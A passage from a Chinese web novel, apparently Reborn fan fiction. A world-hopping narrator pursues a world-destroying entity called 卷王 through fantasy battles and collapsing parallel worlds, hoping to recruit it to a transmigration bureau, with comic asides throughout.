“试探规则、毁灭世界……毁灭、毁灭,他连毁灭世界都不会!要毁灭的话,就毁灭得彻底一点,让世界完全消失啊!他不,他非不,他非要留个尾巴,让每个世界都毁灭性地存在。只要‘存在’,不论状态如何,都一定要有规则覆盖,那其就仍然是一个独立的世界!”卷王的眼睛都要瞪出来了,那崩溃大喊,就差慰问白花花户口本的样子,更是和我如出一辙,“只要毁灭性的世界仍是完整的‘世界’,就不能放着不管。” 这时候,卷王几乎没有了刚才的伪人感。声音没有技巧,全是感情。 我的天,好惨。 我能感觉到我的立场在动摇,我要开始感同身受了。 我才穿越了几千个世界心态就炸成了这样,孕育卷王的世界意识,要同时覆盖八兆亿个世界呢! 原来,所谓的自我保护,竟然不是八兆亿个世界卷出来的“独立”,而是八兆亿个世界的怨念集合体吗?! 我要开始同情卷王了。 换作是我,我也愿意和世界同归于尽——错的不是我,而是整个世界。 确实,我亲身穿越过,那些充满了废墟的世界虽然没有了任何人类生命的迹象,但确实仍然存在。 毕竟“世界”的概念,也不仅仅是指人类,如果不能正确地、完全地毁灭世界,则世界仍然会按照自然的方向运作下去。 世界意识自然就要永远守着那些已经被毁灭的世界,等待着人类意识的重新发芽。 白花花,你可真是坏事做尽。 我看着这满目的天灾场景,问道:“所以——你想要的事,其实是……” “首先,当然就是要正确地毁灭世界,看看什么叫作真正地抹除一个世界!”卷王握拳,眼神坚定的像是要入党。 在卷王吸收拉尔的奶嘴火焰,而没有选择全面重启世界的时候,我就已经猜到卷王的目的是和世界意识打擂台。但当时的我只以为,这是由于卷王的培养皿是白花花这么个反骨仔,身上多少带着些白花花的叛逆影子。没有想到……一切竟是来源于八兆亿个世界怨念。 原来卷王才是被压迫的那一个吗? 难怪祂着急,那是着急毁灭世界吗?不,祂那是着急下班。 谁下班不着急。 也难怪卷王不愿意和重启世界,冲击世界就相当于重新上岗,八兆亿个世界重新运作—— 我看了看卷王的瞳孔,祂的右眼还是白花花的大空指环的模样。 要不直接从根源上把平行世界的问题解决掉,以后就是单线世界,这不是也挺好的吗? 比如,把玛雷指环移出什么的…… “其实吧,我也完全可以帮你处理掉7^3的。”我脑中灵光一闪。虽然我没有学会火焰这个可以作为永动机动力的技能,但能够撑起八兆亿个世界的力量基石,维持一个小小穿越司,应该完全不是问题吧? 我突然两眼冒精光,不仅仅是7^3的力量,仔细想想,卷王也是个全方位适配的人才。 虽然有怨念,但能够等到八兆亿个世界压在身上之后,才开始悲愤,这抗压能力,绝对是超一流水准! 而且熟悉世界运转的规则、熟悉穿越、熟悉观测,能够智能化打补丁无需旁人操心,有强大的应变能力,同时又懂得借力打力、熟悉人类意识、熟悉世界意识、擅长将自己隐藏在意识这种无形无态的地方,可以制定跨越世界甚至是跨越次元的计划、能够随机应变…… 我的天,祂还能更完美吗? 别说,还真能! 我看了看地面上那些乱爬的我,这个复制能力也超级赞。简直是超级无副作用影分|身术,卷王还能抄我的建模,可以一心多用。 这——这简直是不需要培训的王牌员工! 这样的人才我能放过吗? 当然不能!我必要把他招聘回去! 等等,其实也不用我招聘,祂刚才不是就表露出了想要离开这个世界,去其他次元的意图吗! 想去?没问题啊! 等到了穿越司,想看多少新世界,就有多少新世界。 我眼里的精光牢牢地锁在了卷王的身上,脸上的热切一下子挡都挡不住。 不知是不是感受到了我的热情,还是来源于某种应激本能的驱策,卷王向后退了一步。 我扬起笑来,“亲爱的,你听我说——” 话止于此,卷王突然转身就跑。 我能放他跑吗,那必然不能,于是我拔腿就追! ——跑什么啊亲爱的,我都还没有开口呢! “亲爱的!别跑啊,等等我,我这边待遇很好的!”我疯狂给自己加速,为了追上卷王,直接把复制体的我自己直接踩到岩浆里都不带眨眼的。 在怨念这个源代码的推动下,卷王调动起自己的分|身,也不再缠斗其他人,全部都向我扑来。 但已经开始的战斗,已经敌对的立场,又岂是卷王说撤就能撤的。 卷王自己是放弃了缠斗,但,纲吉他们可没有放弃。 方向一旦变化,卷王的分|身们后背受敌,反而短暂地落入了下风。 每个人心里都总是有那么几个害怕的点,比如我怕高,比如纲吉害怕Reborn,比如狱寺害怕碧洋琪——自然食物链。 卷王既然是带着某些怨念诞生出来的,自然也对重新回归这种怨念抱有畏惧。 我可得好好解释一下,毕竟老夫也不是什么恶魔。 我抬手一波砍瓜切菜。 把和自己一模一样的人比作“瓜”和“菜”——不愧是我,真有想象力,一下子就抓住了屠杀自己时,那如同切西瓜一样的手感。 岩浆精准地捕捉着我的位置,向上喷发。岩浆不可怕,可怕的是隐藏在岩浆中的、被岚属性火焰所包裹着的液体鲨鱼。 蓝铃的能力模式,但是鲨鱼确实斯库瓦罗匣兵器一样的鲨鱼。 卷王果然够执着,祂还没有放弃吃掉我。 而且,祂虽然像伪人,但却不是伪人,能够融会贯通,灵活地将蓝铃的能力和斯库瓦罗的匣兵器特征融合起来。 我舔了舔嘴唇,对祂的渴望更大了。 唯一的问题就是,卷王祂的能力确实广泛,跑得快的同时,留给我的阻碍还多。 真人跑跑卡丁车,我玩这游戏最擅长扔香蕉皮了,可从来没输过! 我脑子里给自己响起跑跑卡丁车那热血沸腾的BGM,身体微微停顿,穿过岩浆、水流,将距离我最近分|身踹到地上,“纲吉!” 成熟的穿越者,要学会发掘主人公的特点。 我俯冲而下,扫除了纲吉面前的阻碍。 “背后!”纲吉大喊。 我在纲吉的眼睛里,看到了自己背后扑来的火焰。 不等我转身,就听“piu”! 在如此环境里,一声微不可闻的消音枪响擦过我的脸侧,打中了背后的火焰。子弹中冒出来的咕咕蓝色流浆,对冲了火焰的温度,同时也大范围地影响了其他岩浆的侵蚀速度。 这是,镇静的雨。 可乐尼罗! 我看到了地面上刚站起来的迷彩装婴儿,瞬间恍然大悟。 离开了那个由卷王制定规则的小世界,失去了诅咒和奶嘴的彩虹之子们也逐渐恢复了过来。 对彩虹之子们来说,只要状态稍微好一点,就能马上投入战斗。 这里毕竟是有十代目亲自坐镇、拥有独立科研团队的彭格列基地,哪怕是突然遭遇天灾,想要给彩虹之子们找出些合适的、可以匹配火焰的武器绝对不难。 有新的队友加入,我更有把握了。 卷王,你逃不出我的手掌心——霸总语气。 我的余光一直注视着卷王,以免祂利用分|身金蝉脱壳。 不过,想要金蝉脱壳也没那么容易,祂毕竟是抄了我的建模,蓝本就是我自己,所以我的感知异常清晰。 分|身和本体之间的差距还是很大的。 即使如此,我也没有耽搁,而是马上对纲吉交代,“如果不能尽快结束这一切,世界毁灭也只在一念之间。” 这并非是我夸大其词,正确地、完全地毁灭世界,原本是卷王的首要目标。 纲吉也看出了这一点,“死气的零地点突破可以冻结火焰,我能够尽量延缓这些火焰灾难的蔓延——但,终究是治标不治本!” 卷王现在是7^3的化身,而非是世界意识的化身,所以引起天灾的方法不是原先释放的影响力,而是切切实实的火焰。 只要是用火焰,死气的零地点突破是最有效的方法。 但正如纲吉所说,治标不治本。 想要凭借消耗战赢过卷王是绝不可能的。 看到纲吉没有办法,我就放心了。我抑制住了想要上扬的嘴角,板着脸认真道:“我有办法结束这一切,而阻止祂的前提,必须要建立在限制住祂的7^3本体的基础上才行!我能够做到这点,可这些阻碍……” “交给我们!”纲吉没有一秒的犹豫,这里还是并盛神社,为了确保彭格列基地的隐秘性,这附近算得上是无人区。 但如果再蔓延下去的话,迟早会到达城区。 那时候所造成的影响、造成的伤亡,可就难以衡量了。 “大家!请助我一臂之力!”纲吉发挥了他的强大号召力,不仅有彭格列的守护者们,彩虹之子也是效率极高的战斗人员。 我抬头,看到了天空之上、云层之上陡然出现的黑洞。 一下子,我就从黑洞中感受到了一种刻骨的熟悉。 是穿越的感觉! 卷王要沿着平行世界线流窜! 不是吧,大哥,你可是我预想中的大BOSS——激起了7^3包括基石和石板在内的全部力量,别这么怂啊! 让我换个角度想想,祂可能不是跑路,而是单纯想要把其他世界也都彻底毁灭掉。 “去吧,这里交给我们!”纲吉也看到了那个黑洞,但并没有平行世界穿越经验的他并不清楚那是什么,只是超直感本能地感觉到了危险。 他有一种强烈的直觉,如果让卷王成功穿过黑洞,那这里的天灾,就真的难以停止了,“我们一定会阻止这里的天灾蔓延,剩下的——就拜托你了。” 放心,我一定把我穿越司的安利给卷王吃下去! “交给我吧。”我一笑,抬头,直直地冲了上去。 不要低头、不要向下看、不要想象自己在高处! PUA一下我自己,我不恐高,我没有在高处,只是单纯地奔向我最爱的人——卷王。 背后当然有攻击追了上来,卷王是不会放任我肆无忌惮追击的。 但是,我相信纲吉。 背后传来“滋滋滋”“噼里啪啦”“DuangDuangDuang”“库出咔嚓”的复杂声音,还伴随着纲吉快速的指挥。 写作指挥,读作加buff。 他一句“拜托你,狱寺君”,狱寺直接全属性暴涨200%。感觉就算让狱寺去字面意义上的“抛头颅洒热血”,他都不会犹豫。 他的匣兵器SISTEMA C.A.I非常适合远程保护,我能够感觉到防御盾就跟在我的屁股后面。 所有守护者中,他是开匣开得最快的人。 毕竟,在失去了彭格列指环之后,其他人都需要重新在强尼二那里紧急领取新的指环,他却不需要。 鬼火少年,十根手指,全是指环。 他毕竟需要多个属性的指环来开他的复合匣系统,在彭格列指环外有其他属性指环也是理所当然的。 不过,其他人的速度也不慢,毕竟十年后的彭格列指环被销毁,彭格列的指环储存量本身也很大。 但要说效率高,还得是六道骸。 这些岩浆喷射的招数,都是他十年前玩剩下的东西。幻术多变,他的能力太适合大范围攻击了。 骸枭几乎是在跟着我飞翔在天空,漫天飞舞的莲花花藤灵活地击退了所有的分|身——想要一次性直接击败这些分|身很难,但如果只是创造让我能够通过的破绽可就容易了。 我和卷王的距离越来越近、越来越近—— 直到黑洞之前。 不好!卷王的速度比我想象当中还要快,他有半截身子已经穿过了黑洞! 八兆亿个世界慢慢找? 不行不行,绝对不行! 我瞳孔一缩,毫不犹豫地扑了上去—— 可仍然够不着,我伸长了手臂,指尖却和卷王擦肩而过——关键时刻,就差那么一点点。 就在这千钧一发之际,身后的骸枭借助雾气化出了六道骸的身体,毫不犹豫,朝着我的屁股狠狠踹了一脚。 几乎是六道骸全力一踢。 我果然被直接踹飞了出去,方向正确,身体狠狠地撞上了卷王,身体与祂不雅观地纠缠着,一起翻滚掉入了黑洞之中。 第152章 可恶的六道骸绝对是在公报私仇! 这一脚, 踹哪里不好,偏偏要踹我的屁股! 难道是因为这里肉厚有弹性吗? 画面美到我不敢想象。 这个感觉、这个力度,六道骸还真是一点水分都没加, 甚至眼睛里的数字都变了, 直接开了地狱道的格斗术,找了个非常刁钻的角度、非常有技巧地给了全力一脚给到了我的屁股。 好家伙,地狱道用在我身上了, 行,可真行。 我合理怀疑他是故意的,恐怕没有用三叉戟戳我屁股,都能算是他最后的温柔。 这一脚的速度、这一脚的力度, 再加上充足的惯性, 我和卷王狠狠地撞在了一起,脑门和脑门相撞,发出了清脆的声响。紧接着,我和卷王就一起翻入了黑洞之中。 理论上来说,这是卷王撕开的黑洞, 是祂有目的撕开的黑洞, 那祂必然就对黑洞通往的方向有所预设。但时空点这种东西,失之毫厘, 谬之千里。什么时候进入、以什么速度进入, 都可能会对最终的目的地造成影响。 卷王或许有过Plan,但是六道骸那一脚, 不仅踹翻了我的屁股, 而且还踹翻了卷王的坐标。连我这个直接被踹屁股的人, 在屁股蛋子变形之前都没有预感, 卷王就更不可能有反应过来的机会了。祂嘴角那志在必得的笑还没有消失, 就被我连撞带顶地推入了黑洞之中。 我们两个以一种不太雅观的姿势搅在一起,在黑洞里旋转跳跃闭着眼。 不闭眼也没办法,这里面黑洞洞的,就是瞪大眼睛,也看不到任何光线。 真·黑洞。 黑乎乎的洞,我们无疑处在时空缝隙之中,在穿越途中。 只不过,这和先前穿越过程中感受到的那种时空乱流略有不同,这个黑洞是更加平滑的、更加稳定的穿越通道。 难道……这也是卷王的能力吗?! 我无效地瞪大了眼睛。 让穿越的过程变得平滑稳定——这种事,我想都不敢想! 之前也很多次地强调过了,虽然我失禁起来那真可谓是“一泻千里”,但穿越本身其实是非常危险的事。这也是白花花能被称万里挑一的原因,在7^3三大基石存在的漫长时间里,彩虹之子的筛选事实上最为放松,每一代都能确保存在专业领域的“最强”;彭格列指环所代表的时间基石也传承了至少十代,唯有玛雷指环,这个代表空间的基石,只有白花花这么一个适格者。 可见其稀有。 虽说,大部分的白花花都没有真正的身体穿越,只是在共享记忆;但这种能力已经非常难得,放眼整个次元,不论是穿越还是打破第四面墙,都是非常稀有的能力。而卷王,祂不仅有穿越的能力,而是还能制造这种可以供人穿越的黑洞——不是和我一样仅供自己穿越的体质,而是可以带人穿越的黑洞,同时,祂还还能让穿越的过程变得非常平滑安稳—— 这要是不把他薅回去,我有何颜面去面对我的亲亲基友? 我虽然闭着眼,但是我的心脏正在咚咚狂跳,原本的卷王就已经非常优秀,这下子简直是朝着完美的方向一去不复返。 我的目标性前所未有的强,从未有过如此强烈的主人翁意识。 只不过,越是面对这样的目标,就越要谨慎,越要确保卷王能够全须全尾地接受我的邀请。 当然,如果能说通道理的话,让卷王主动跟我走的话,那自然是最好不过。 但是……嗯…… 我看了一眼被我坐在屁股下的卷王——这个方案,可能稍微有那么一点点的困难。 黑洞既然是洞,就有洞口,就有出口。 只是,谁也预料不到出口的位置,和落地时的姿势。 我低头,在那张我最熟悉的脸上,先是恍惚,后是羞恼,最后转化成了愤怒。 不知是对这个姿势的愤怒,还是对自己计划被破坏的愤怒。 总之,卷王现在,不像是能被我说服的样子。 有点难办了啊。 都怪六道骸!让我给心爱的人留下了不好的印象。 都是六道骸的错! 我严肃认真地给自己催眠,将锅甩给了六道骸。 他背的锅多了,也不差我这一个。 好像压得时间有点长了,卷王的愤怒已经变成了恶狠,背景全是黑泥。我心有所感,在祂把我掀飞出去前,自己抢先一步跳开来。 “误会,都是误会,”我嘿嘿一笑,看着自己的那张脸真是前所未有的顺眼,“会飞出去那都是六道骸的错,都怪他——咱们俩同病相怜,看看我们这一个建模,我们简直就是异父异母的亲兄弟啊!” 卷王:? 祂歪头,黑泥朝着头顶汇聚成型,化为了一个明晃晃的问号。 大概也是没有想到我会如此离谱。 说好的敌人呢? “不是我的分|身啊……”祂仔细地观察了我几秒,终于确定,我不是祂做出来的那些复制品之一。 我示好真的有这么奇怪吗? “别这么有敌意啊——你我之间,本来也没有什么绝对不可调和的矛盾,对不对?”我想着能走正途那自然是最好,于是稳下心神,和卷王好好掰扯,“世界之外那么大,你不是想去看看吗?没有个引路的人可怎么好,这事儿我熟,我最熟!” 卷王既然能想到将我扯到这个世界来破局,肯定多少也知道或是猜到了些和我有关的前事,哪怕不知详情也知道个大概,所以他应该知道我在暗示什么。 不,这已经不能用“暗示”二字来形容了。 但闻言,卷王的脸色却阴沉了下来,祂一脚踩在废墟——不,应该说是废土上,脆弱的地面瞬间开裂。我低头去看,却见裂痕的深处,有一棵翠绿的小草,这个生命和整个世界一片漆黑的样子格格不入,四周连生物存在过的痕迹都消失了,没有建筑、没有山河湖海、没有灌木丛林,有的只是纯粹的废土。 但破而后立,这个世界,在毁灭之后已经开始新的发育了。 这就是卷王所担心的事情,被毁灭的世界,生息先降后升,世界意识的注意程度也会随之先降后升。 这里显然已经度过了最低的谷底点。 只是马上,坍塌的黑色土灰就将小草掩埋了起来。 卷王盯着我的视线,让我发毛。祂冲着我一字一顿地说道:“我不是要去其他的世界玩耍,我要征服你的世界之外。” 好!很有精神! 卷王对白花花的怨念不可谓不多,但祂绝对无时无刻不在受着白花花的影响,将征服世界刻入了自己的DNA。当然除此之外,祂原本就脱身于世界意识之中,世界意识也原本就是站在世界高处、约束世界的规则之一,那在这种规则中孕育的卷王,天然带着和世界意识相似的统治属性也就不让人感到奇怪了。 唉—— 我叹了口气,这么好的卷王,想要搞到手里来,哪有那么容易。 祂值得更强烈的追求! 我重新睁开眼睛,和卷王如同对镜说话似的,一比一复制。 别说,这狠下来的眼神确实帅。 卷王没有再和我打嘴炮,祂一眨眼,右瞳孔中的红色一闪。顿时地面发热,岚属性火焰汇聚而成的岩浆迸发而出。 好热! 这里的火焰,可比之前在并盛的火焰要暴戾得多,仿佛有什么限制他的东西被突然解锁了一样。 紧接着,卷王就向我展示了天灾一条龙服务,地震、火山、惊雷、飓风,给本来就已经遭受过一次毁灭性打击的世界雪上加霜。 同时,祂也是在告诉我,这无关个人私欲,即使要去往世界之外,祂首先也要将平行世界全数毁灭——确实是不忘初心。 这样不忘初心的卷王,值得一生典藏! 祂将自己隐藏在这些天灾之中,毫无疑问,祂的此番行就是在加速世界的寿命进程。 眼前的天灾让人眼花缭乱,多色的火焰将我的视野全部包裹了起来。 一下子,我就明白了卷王的意图。 祂不想要受我牵制,却仍没有放弃要走向世界之外——我压低身体,手撑在地上向前一翻,躲开了卷王的背后袭击——所以我的存在是必要的。 不知是我的心境变了,还只是单纯因为看习惯了的缘故,卷王那张的嘴能有我头大,满嘴鲨鱼牙的样子,竟然也显得正常了很多。 “嘶——” 我感觉到了什么,捏着自己的手臂,腕侧果然被划开的一道伤口,不深,也只有大概两指长,伤口中渗出了些许血液——我脸色大变。 只是流血当然不是什么大事,这也不算是个大伤口,但那冰冷的牙齿擦过我皮肤的时候,我还是清晰地感觉到了一股刺痛。 一种不应该存在的痛感。 为什么? 为什么我会有这种感觉? 我没有一点被同化的感觉,甚至可以说,这个世界也没有什么世界意识可言。连世界意识都不存在,又怎么可能有什么将我同化…… 我瞳孔一缩,视线扫过那被雷电劈开的天空,定定地看向了卷王。 “打着这个注意啊——” 难怪,祂的力量在这个世界里更强。祂最一开始就不避讳自己所知道的毁灭世界的正确途径:用天灾将世界完全撕碎——天空、大地、山野、海洋,只有将一切卷入其中,才算是重点。 一旦做到了眼下的这些事,世界当然就会被推向崩溃边缘,在这种极端的、毫无生命存在的极端环境下,所谓笼罩在世界一切上的世界意识自然也会落到低点,甚至是直接在这个世界中消失。世界意识不存在,也就更无所谓规则和压制。 这也是卷王敢于不重启世界的原因所在。 至于我,一旦世界意识消失,我的存在本身,实际上也就没有了同化与不同化的区别,会和卷王一样,脱离世界的规则,变得“独立”。 独立——这是卷王梦寐以求的事情,但我和卷王不同,我原本就是独立的个体。 也就是说……这完全就是我的本体了啊! 我按在这个伤口上,果然没有感觉到伤口有愈合的趋势。 一个正常的生物学伤口,是不会在短短几个呼吸之间就愈合的。 卷王竟然把我的外挂给封了! 你是什么Game Master吗? 祂像是从我惊讶的眼神中,看到了什么,给我也来了个邪魅一笑,“虽然不是‘边缘’,不是我想要的最远点,但也无所谓了,只要是‘世界’,我总是要踏足毁灭的。” 边缘、最远点。 我福至心灵,卷王一开始的目的,应该是从最中心的世界,也就是主线世界开始毁灭。用自己的特殊存打纲吉他们一个措手不及,最好能直接把他们杀掉,没有了能牵制7^3的适格者们,毁灭世界对卷王来说自然是易如反掌。 他把最难毁灭的世界放在最开头,成功之后自然就是一马平川,从最中心毁灭到最外围,一个都不会落下。 平行世界的过度膨胀,让这个世界的世界壁本身就相对薄,这才给了卷王攻击穿越司的机会。有这个前提在,只要卷王能在毁灭平行世界个过程中吃掉我,那么一路毁灭世界直至最外围,就可以顺理成章地按照经验,从穿越司入侵世界之外。 很有规划。 只不过,我当时的状态和眼神,让了连打八兆亿份工的卷王有点应激,再加上7^3石板启动时的突袭失败,纲吉他们的顽强也确实超过了祂的预料。故而,卷王换了策略,打算由远及近,八兆亿个平行世界的最远端从最远端按顺序挨个儿杀,最后杀回主线世界,用这样的顺序也能确保不会有任何世界遗漏。 毕竟,卷王的“独立”已经和世界意识划清了界限,自然不能像过去一样,对所有平行时空的动态位置了如指掌。 如果没有一点顺序和逻辑,八兆亿这样的大数字,难免会有漏网之鱼。 由远及近的行动,也是卷王不断练习毁灭世界的过程,祂能有更充分的机会熟悉自己独立的身体和火焰的能力。 同样都是制造天灾,使用影响力和使用实际存在的火焰之间,存在着根本性的差距。 哪怕是卷王,也需要相当充足的时间和实践来适应。 但现在这个随机世界,卷王打算如何保证毁灭所有世界? 卷王这张脸上的每一个表情变化所代表的情绪,我都了然于胸。我看着祂那微微闪避的角度,一眯眼,“你……不会是也找不回原本的方向了吧?” 祂顿时垮下了脸,倏地暴躁了起来,双手虚空一抓,火焰切断的山头就压向了中间——也就是我所在的位置。 完蛋,被我说中了——卷王,恼羞成怒限定版。 我都已经被封外挂了,当然也不敢再托大,一个响指,白线从我的手环里渗出,延长撑在山底那已经被地震震开的裂痕中,将之撕扯得更大,两边的山丘便瞬间陷入其中——攻击塌在我面前, 我稳稳地站着——怕死,也要怕得体面。 卷王当然不会停下来,只不过,后面接连的几次攻击,不论是用岩浆还是用雷电,用风刀还是用水淹,祂都没有再近我身。甚至我主动上前,祂也会回避,一心一意地搞自己那毁灭世界的大业。 火焰引发的效果有限,天灾也是固定项目,附近还没有其他要考虑的同伴或是普通人,这些有规律的攻击,应对起来并不困难。 祂攻击,我必定要反击。但无疑,这一攻一防之间,就加速了世界毁灭的进程。 完完全全的阳谋。 没有“人”存在的世界里,世界意识相对薄弱,在被突破一个缺口后,世界坍塌的速度也非常之快。 我看到卷王的右瞳中,已然亮起了橙色的大空焰,圆润的瞳心两侧还有隐隐的羽翼轮廓。 那是白花花的玛雷指环。 我心里一咯噔,卷王这个小宝贝不会是要跑了吧? 我回看世界,确实是满目疮痍,但却远远没有到要消失的地步,祂这就打算走了? 我心中隐隐有一种感觉,但为了保险起见,我还是用文字组成的坚韧白绳捆在了卷王的腰上。 我的建模、我的腰。 还挺细——再用力一拉!嗯,很有力量,腹肌没有八块也有六块。 我不由地摸了摸自己的小腹,幻想起猛猛健身之后的成果。 有时候,我也不得不佩服自己的习惯性走神,这种时候竟然也能有精神不集中的时候。 就是这一个瞬间,我扯着白线用力,自己“唰”地飞向了卷王。坚韧的白线没有被岚的火焰侵蚀,我随机应变,踩着向我飞来的巨石一翻,绕开了火焰和雷电交织的天地一线。 拨开云雾,视线也逐渐清晰起来。大空火焰在卷王的手腕上环绕着,燃烧的位置,正是我的手环应该所处的位置。 虽然不会用手环,但是可以使用手环的位置,看来祂对我的建模细节也很尊重了。 不对,重点不在这里,重点在于,祂在那里燃烧大空的火焰做什么!? 玛雷指环连接平行世界的能力很强,但穿越的能力却相对较弱。在此之前,祂穿越的方式明显是制造时空黑洞,那种方法的穿越绝对比单纯用玛雷指环更加顺畅。 不对劲,非常不对劲。 舍弃简单的,使用困难的,这很不对劲。 想都没想,我马上就伸长手臂,去抓他。当我的手冲向那团火焰之时,我的手竟然和卷王的手一起,穿过了某种冰凉的东西。 紧接着,我就感觉手指一阵被凛冽寒风袭击的刺痛。手明明就长在我的手腕上,可我却觉得,自己的手仿佛和身体分离成了两个部分,我的手仿佛不再被我的大脑所感知、所接受。 对某种事情的熟悉,让我我瞬间就明白了这种似曾相识的分离感的来源。 这是——穿越时,某个节点会短暂拥有的感觉。准确地来说,是身体穿过世界壁垒时候的感觉。 我和卷王贴得极近,彼此说话时的吐息甚至能直接打到对方的脖颈上,“你到底想要做什么,你应该知道,同时拥有这么多平行世界,前后又有白兰的多次影响,这里的壁垒到底有多薄——” 说到这里,我突然一顿,惊异地抬头,看着卷王,“……你认真的?” 祂果然一本正经,眼神严肃得像是要去考试。 我知道,他一定是认真的。 “毁灭世界的真正方法,不是天灾!?”我以为我在第二层,其实卷王在大气层。 天灾只是在营造毁灭的状态,目的是驱赶世界意识。如此毁灭性的模样,世界意识会判定世界毁灭,继而会使得这个平行世界脱离世界意识的有效掌控。 但天灾仰赖于卷王的火焰,只要火焰消失,就是再混乱的场景,也总有一天会平静下来,一旦恢复平行,世界意识就会重新将这个世界连接起来。 卷王不可能永远只呆坐在一个世界里,不可能让火焰永远燃烧——否则那和同时干八兆亿个活的世界意识还有什么区别? 祂只是要利用世界意识不存在的空档期,将平行世界融入乱流之中。 我话音刚落,卷王就迅速给了我回应。 祂两只手抓在火焰的两端,用力一撕——瞬间,大空火焰燃边的裂口,便被扯到了两臂宽。 只听“咔嚓——” 无言的碎响在我的耳边回荡,清脆的声音震耳欲聋。 透过火焰,我能够感觉到壁垒上的裂纹,和裂口中正在突入了风旋。 我踹开卷王,白色的光绳在我二人之间拉长。下一秒,大空火焰包裹的范围完全破碎。仿佛是惊悚片里,在行进中突然破口的太空飞船,洪流瞬间将飞船内的一切都吸了进去。 岩浆、雷电,有形的、无形的,哪怕是卷王制造天灾是那7^3级别的火焰,也只在裂口边缘停留了零点几秒,便被吞噬得干干净净。风旋腐蚀着裂口边缘,连那维系穿越属性的大空火焰也被吞入了其中,消弭无形。 但已经无所谓了。 已经出现的缺口无法填补,它以一种夸张的速度蔓延着,一座能把我压在身上的山卷入其中,只要一眨眼的时间便能被搅碎。 多眨几次眼睛,这个裂口就已经扩张到了数百米的宽。 想要修复这种壁垒,几乎是不可能的事。没有世界意识的制约,哪怕是投入大量的时间和精力,修复的速度也绝对赶不上扩张的速度。 而此时,从我意识到卷王的意图,到现在的无法挽回之间,至多也不会超过十个数,可却连天空都出现了扭曲感。 这个世界已经成为了时空乱流的一部分。 卷王挑衅似的看了我一眼,接着就义无反顾地冲入了屏障之外。 我揪着白线,无属性的能力将我和祂紧密地连在了一起。 在过去的几千次穿越里,我无数次地看到过乱流的状态,也曾贴身经过。所以当我被卷王的拉扯带出去的时候,能够清晰地感觉到,乱流的旋速在增快。 一个世界的加入,给乱流增色不少——换句话说,世界的毁灭,很可能本身就是时空乱流的来源。 那卷王能够轻易改变策略,做出把最难的部分留到最后的决定,就可以理解了。时空乱流吸入的平行世界越多,也就越活跃,乱流越强,攻击世界壁垒的力量也就越大,卷王需要撕开的口子自然就会越小。 思考间,我已经被拉入了新的世界。 在乱流之中,任谁都分不清方向,卷王也不例外,祂恐怕也不知道,我们究竟是在朝哪个方向前进。 但总之,是八兆亿分之一不会错。 前期,就世界这个八兆亿的密度,哪怕没有规划,也能轻易落地到新的世界。 当然,这一次卷王似乎没有要“落地”的意思。或许是这个世界的毁灭度比较高,被毁灭的时间也恰到好处,导致世界意识基本上处于半休眠、半毁灭的状态,我和卷王两个人在时空乱流的推进下,闯入这个世界之时,就已经无视世界意识的注视,捅穿了世界壁垒。 世界壁垒从创口不仅不小,我和卷王的闯入本身也环绕着乱流。 但这个后果可和我没关系,我的穿越体质就注定了我可以穿过任何脆弱的世界壁垒。但卷王,祂瞳孔中属于玛雷指环的大空火焰已然熄灭。 这多半也是祂的一次尝试,祂直接仗着自己那7^3石板化成的身体,重重地撞了过去,直接将这个脆弱的世界,撞了个碎。 有人试过在高速路上,开200迈的敞篷车吗? 我没有试过,但我觉得,应该就是我现在的感觉——冷冷的风雨在我脸上吹,时空乱流让我的眼睛几乎睁不开。好不容易进入一个世界,眼睛还没有缓过劲来,就已经捅穿世界壁垒重回乱流中,周而复始。 好几次,我都像不管不顾地强行拉住卷王,但我都强行让自己冷静下来了。 我必须得hold住情绪,时空乱流非常危险,充满了未知和变数。被卷王操作的封了外挂,我不得不稍微谨慎一点。 或许是卷王正处于新手保护期,接连几个世界都是相当边缘的世界,世界意识覆盖少、毁灭度又高、契机又完美,一息都没有让祂停留。 撞碎世界这种事,卷王也是越做越顺手,用这样简单粗暴的方式,畅通无阻地度过了十几个,或是几十个——甚至更多的世界。 即使这个数字和八兆亿比起来,依然是可以忽略不计的程度。但我不是八兆亿,我只有一个,卷王这不知疲倦的热情,让世界乱流快要把我吹成面瘫了。 腮帮子好痛。 终于,在穿过某个世界壁垒之时,我明显感觉到身体一滞,一种生命延缓的感官沿着白绳蔓延到我快要面瘫的脸颊。 我抓住机会,闭着眼睛,将身体翻转,反向用力一拉。玩爽了的卷王在突然强化的世界下,被我硬生生停了下来。 卷王是爆冲狗狗实锤,这一下爆冲的速度和力度勒得我差点站不住。 我白绳牵着卷王的地方是腰,因而祂是腰先刹了车。手脚还向前抻着,要不是祂身体够强,这一下足以让祂腰斩。 我其实还有点好奇,理论上来说,卷王不仅不会死亡,而且还会分裂。那如果将卷王拦腰斩开的话,会不会分裂成两个卷王,这两个卷王哪一个又算作是本体? 可惜了,我的建模强度无敌,恐怕是没有机会实际验证这个答案了。 “你跑得也太快了吧?”我总算是脚踏实地地踩在了地上,这里的环境明显要比之前的几个好一些,地面隐约还能看出火焰燃烧之前的状态,四周废墟的轮廓也相对清晰。这顶多算是石纪元或者尼尔机械纪元,而不是物理意义上被重启了的世界,“干嘛那么着急,坐下来聊聊不好吗?” 我咧开嘴一笑,说话可不影响我的动作——总之是,先下手为强! 想要击碎7^3石板不容易,但想要困住祂,我还是有办法的。 不想让卷王乱跑,首先就要限制住祂的行动才行。 我用力握拳,连在他的腰上白光顿时大绽,分裂出无数的细绳将卷王拱卫在中心——这画面还有些像某位屑鬼王的能力,只不过是白化版。刺鞭在祂腰后全面爆发,仿佛是祂主动在使用的能力之一。 但,那实际上是束缚。 面对如此嚣张的卷王,我也没有犹豫、没有留手,操作之下,白绳最末细细的一端硬化,如刺般回转,穿过卷王的四肢,延长的部分如鞭首尾相连,进而收紧。 被穿过的身体上,没有丝毫伤口。卷王真正的本体材质是7^3石板,我的建模、我的肉|体只是一种外化表现,可想而知,伤口处也不会有血。 可恶,只有我是肉|体凡胎。 我手腕外侧的划痕不深,伤口处早已没有了血液流出,隐隐的刺痛和乱流打脸的面瘫感相比也不算什么,但被封外挂对我心灵的冲击仍在。 既然本体是石板,那我可就不客气了。 原本只是在四肢上白光,从捆绑的缝隙中抽出的柔软“绳头”,在这次它硬化之后,可就冲着胸口透露这样的要害地方而去了。 目的不是杀死,而是要固定卷王所有骨头的位置再压紧收缩,确保祂没有任何可借之力。 “啊——我知道这个,无属性能力。”卷王一眼就认了出来,“接替彩虹之子尤尼生命的能力,有意思的能力。” 是咒力。 虽然绳索的核心、那些刺入卷王身体的硬质部分是由文字组成的——这样跨系统的能力对卷王来说比较难破译;但延长的软绳却是咒力——这种和火焰相似的能力,和这个世界的体系更加匹配,自然也就更容易在这个世界里大范围地使用。 